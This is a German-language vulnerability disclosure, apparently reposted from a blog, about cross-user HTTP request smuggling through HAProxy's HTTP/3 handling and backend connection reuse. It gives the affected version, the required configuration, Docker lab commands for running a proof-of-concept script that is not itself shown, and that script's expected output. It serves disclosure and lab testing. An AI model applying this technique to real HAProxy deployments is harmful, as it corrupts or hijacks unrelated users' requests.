
Ein einziges QUIC-Paket mit null Bytes reicht aus, um den Backend-Verbindungspool von HAProxy zu desynchronisieren und HTTP-Anfragen über nicht zusammenhängende Benutzer hinweg einzuschleusen – sogar über Benutzer, die ein völlig anderes Frontend-Protokoll verwenden.
Vollständiger Beitrag hier: https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Eine Schwachstelle in der HTTP/3-Implementierung von HAProxy ermöglicht es einem Angreifer, eine HTTP-Anfrage mit einem Content-Length-Header zu senden, der nicht der tatsächlichen Body-Größe entspricht. HAProxy leitet diese fehlerhafte Anfrage über HTTP/1.1 mit der deklarierten Content-Length, aber null Body-Bytes an das Backend weiter. Wenn das Backend eine frühe Antwort sendet (z. B. 301-Weiterleitung) und den ausstehenden Body aus der TCP-Verbindung abfließt, verbraucht es Bytes, die zur nächsten HTTP-Anfrage auf dieser Verbindung gehören – die möglicherweise von einem anderen Benutzer stammt.
Dies führt zu benutzerübergreifendem HTTP-Request-Smuggling über den Backend-Verbindungspool von HAProxy.
Betroffen: HAProxy mit QUIC/H3-Unterstützung (USE_QUIC=1). Getestet auf HAProxy 3.0.18.
Erforderliche Konfiguration: http-reuse always (nicht standardmäßig, aber in Produktion üblich)
Docker Compose mit 3 Diensten:
http-reuse always)autoindex on im Verzeichnis /photos, /status gibt 200 zurück# 1. Labor starten (HAProxy-Build dauert beim ersten Mal ~10 Min.)
cd poc/
docker compose up -d --build
# 2. PoC im Dauerbetrieb ausführen
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. Im Browser zu https://<host>:10002/status navigieren
# (selbstsigniertes Zertifikat akzeptieren, in Chrome --ignore-certificate-errors verwenden)
# Wiederholt aktualisieren. ~50 % der Antworten sind 400 Bad Request.
# 4. PoC stoppen (Strg+C). Alle Browserantworten kehren zum Normalzustand zurück (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Erwartete Ausgabe:
[1] Sende Poison-Anfrage (H3/QUIC)...
-> 301 empfangen. Backend-Verbindung mit ausstehendem Body-Drain gepoolt.
[2] Warte 0,5 s, bis HAProxy die Verbindung gepoolt hat...
[3] Sende Opfer-GET /status von SEPARATER QUIC-Verbindung...
-> Antwort: HTTP 400
[!] SMUGGLING BESTÄTIGT
[!] Opfer auf separater Verbindung erhielt 400 statt 200
[!] Backend interpretierte die Anfrage des Opfers als Body des Poison-POST